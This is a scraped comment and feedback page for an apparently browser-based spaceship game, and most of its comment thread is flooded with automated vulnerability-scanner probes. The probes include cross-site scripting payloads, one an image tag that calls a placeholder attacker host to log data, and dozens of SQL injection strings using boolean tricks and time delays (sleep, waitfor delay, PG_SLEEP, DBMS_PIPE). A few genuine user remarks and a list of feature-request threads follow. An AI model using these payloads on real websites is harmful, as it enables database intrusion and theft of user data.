• cvtnyiwn<WS39VH>4WNJ3[!+!]</WS39VH>

  1

• cvtnyiwn<ifRAme sRc=9950.com></IfRamE>

  1

• cvtnyiwn<5gJAkK x=9472>

  1

• cvtnyiwn<img sRc='http://attacker-9384/log.php?

  1

• Hybrane

  ya, it aint work

• clip-x

  KIck is just a bug

• 30awillis

  me too

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  1Gk6SAC4D

• dwUQQUrL

  1

• dwUQQUrL

  -1 OR 2+618-618-1=0+0+0+1 --

• dwUQQUrL

  -1 OR 2+545-545-1=0+0+0+1

• dwUQQUrL

  -1' OR 2+753-753-1=0+0+0+1 --

• dwUQQUrL

  -1' OR 2+227-227-1=0+0+0+1 or 'pnbCO0Cj'='

• dwUQQUrL

  -1" OR 2+874-874-1=0+0+0+1 --

• dwUQQUrL

  1*if(now()=sysdate(),sleep(15),0)

• dwUQQUrL

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• dwUQQUrL

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• dwUQQUrL

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• dwUQQUrL

  1-1; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1); waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 waitfor delay '0:0:15' --

• dwUQQUrL

  13z0KPXhi'; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 OR 10=(SELECT 10 FROM PG_SLEEP(15))--

• dwUQQUrL

  1-1) OR 907=(SELECT 907 FROM PG_SLEEP(15))--

• dwUQQUrL

  1-1)) OR 314=(SELECT 314 FROM PG_SLEEP(15))--

• dwUQQUrL

  1QFIBop6P' OR 266=(SELECT 266 FROM PG_SLEEP(15))--

• dwUQQUrL

  1NdvV70ET') OR 882=(SELECT 882 FROM PG_SLEEP(15))--

• dwUQQUrL

  1w6hujIbV')) OR 851=(SELECT 851 FROM PG_SLEEP(15))--

• dwUQQUrL

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• dwUQQUrL

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• dwUQQUrL

  1

• dwUQQUrL

  1'"

• dwUQQUrL

  @@N7EVY

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrLD39brkc2

  1

• dwUQQUrL

  1

• -1 OR 2+255-255-1=0+0+0+1 --

  1

• -1 OR 2+403-403-1=0+0+0+1

  1

• -1' OR 2+883-883-1=0+0+0+1 --

  1

• -1' OR 2+739-739-1=0+0+0+1 or 'yrbJIMs3'='

  1

• -1" OR 2+208-208-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• dwUQQUrL-1 waitfor delay '0:0:15' --

  1

• dwUQQUrLDCUCqyPs'; waitfor delay '0:0:15' --

  1

• dwUQQUrL

  1

• dwUQQUrL'"

  1

• @@iaLkr

  1

• dwUQQUrL

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 157 months ago
  Unvote

  8130 agree

• Hack Protection
  By Stealthkid - 148 months ago
  Unvote

  2913 agree

• Add to favorites
  By Anonymous - 159 months ago
  Unvote

  854 agree

• editro
  By critic - 159 months ago
  Unvote

  826 agree

• Missiles as an Third Weapon
  By Ram - 155 months ago
  Unvote

  814 agree

• Youtube B-wing achievement
  By chuck norris - 157 months ago
  Unvote

  807 agree

• Change Name?
  By Anonymous - 159 months ago
  Unvote

  773 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 115 months ago
  Unvote

  758 agree

• Slide ship in on start
  By Kickass guy - 159 months ago
  Unvote

  727 agree

• Mistaken Website Bug
  By CrazyDeathling - 157 months ago
  Unvote

  722 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 154 months ago
  Unvote

  718 agree

• Rank list & Leaderboards
  By StoleYourFood - 154 months ago
  Unvote

  704 agree

• It doesn't work!
  By the destructor - 158 months ago
  Unvote

  689 agree

• What browsers are supported?
  By Jack - 156 months ago
  Unvote

  686 agree

• Awesome
  By Anonymous - 151 months ago
  Unvote

  656 agree

• Try Me does not work
  By Tim - 159 months ago
  Vote

  645 agree

• Two major glitches
  By BeyPokéDig - 159 months ago
  Unvote

  643 agree

• Save
  By DevilishDB - 157 months ago
  Unvote

  635 agree

• Undo button
  By wombat - 156 months ago
  Unvote

  634 agree

• battle
  By alexof - 157 months ago
  Unvote

  630 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 152 months ago
  Unvote

  625 agree

• achievements
  By Lee - 159 months ago
  Unvote

  619 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 159 months ago
  Unvote

  618 agree

• how do i draw the outline
  By kickassisdeboss - 158 months ago
  Unvote

  617 agree

• omfg
  By Russellmichael13 - 157 months ago
  Unvote

  613 agree

• Pen tool
  By Cblackdragon - 154 months ago
  Unvote

  607 agree

• White labeling the app?
  By Peter.dibart - 154 months ago
  Unvote

  588 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 158 months ago
  Unvote

  580 agree

• You guys should have a symmetrical mode
  By Idrees - 158 months ago
  Unvote

  577 agree

• Enemies
  By Agallup16 - 158 months ago
  Unvote

  562 agree

• Mirrored editing
  By wombat - 156 months ago
  Unvote

  560 agree

• Designer
  By Anonymous - 159 months ago
  Unvote

  550 agree

• Rankings
  By heyo - 158 months ago
  Unvote

  549 agree

• need some advice
  By Hao - 156 months ago
  Unvote

  547 agree

• Benefits from improving ranks
  By hurrtz - 155 months ago
  Unvote

  544 agree

• Pro!!
  By Jtbui20 - 158 months ago
  Unvote

  540 agree

• Forums
  By BeyPokéDig - 158 months ago
  Unvote

  536 agree

• Button
  By Cottonball - 158 months ago
  Unvote

  536 agree

• android app
  By Barissenkal - 150 months ago
  Unvote

  532 agree

• help
  By Russellmichael13 - 157 months ago
  Unvote

  531 agree

• Extra weapons
  By MassMurdererOver9000 - 153 months ago
  Unvote

  522 agree

• Undo Button
  By Cblackdragon - 154 months ago
  Unvote

  521 agree

• 1 agrees
  By BeyPokéDig - 159 months ago
  Unvote

  519 agree

• I am using this on my site
  By Idrees - 158 months ago
  Unvote

  518 agree

• Image for ship
  By wombat - 156 months ago
  Unvote

  512 agree

• 0xp till| Only GA.
  By StoleYourFood - 154 months ago
  Unvote

  512 agree

• Question
  By Kickin Ass - 158 months ago
  Unvote

  497 agree

• how come the editor is so hard to use
  By Rcasassin - 156 months ago
  Unvote

  490 agree

• You guys need an undo button
  By Idrees - 158 months ago
  Unvote

  488 agree

• page moving up/down while controling the ship?
  By Tommy - 158 months ago
  Unvote

  465 agree